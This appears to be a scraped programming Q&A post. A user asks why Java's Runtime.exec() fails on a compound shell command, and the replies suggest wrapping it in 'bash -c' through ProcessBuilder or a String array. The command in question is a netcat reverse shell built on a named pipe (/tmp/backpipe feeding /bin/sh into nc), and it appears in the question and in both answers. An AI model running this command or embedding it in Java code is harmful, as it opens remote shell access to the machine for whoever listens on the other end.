geek_ji geek_ji - 10 months ago 65
Java Question

java Runtime.getRuntime().exec() unable to run commands

I need to run the following command from inside the Runtime.getRuntime().exec():

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 1234 1>/tmp/backpipe

In what format should I pass it to my running java program that has the line :

Process localProcess = Runtime.getRuntime().exec(myStr);

where myStr is the entire command above that I want to execute ?

Things I have already tried :

[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 1234 1>/tmp/backpipe\"] as String[]"

gives me the error :

Cannot run program "["/bin/bash","-c","/usr/bin/mkfifo": error=2, No such file or directory

If I simply run the command from my terminal as :

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 1234 1>/tmp/backpipe

It runs like a charm, but not through the runtime.exec().


Try to use ProcessBuilder instead of Runtime.

Try this one:

Process p = new ProcessBuilder().command("bash","-c",cmd).start();

cmd is the variable which holds your shell command.


String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);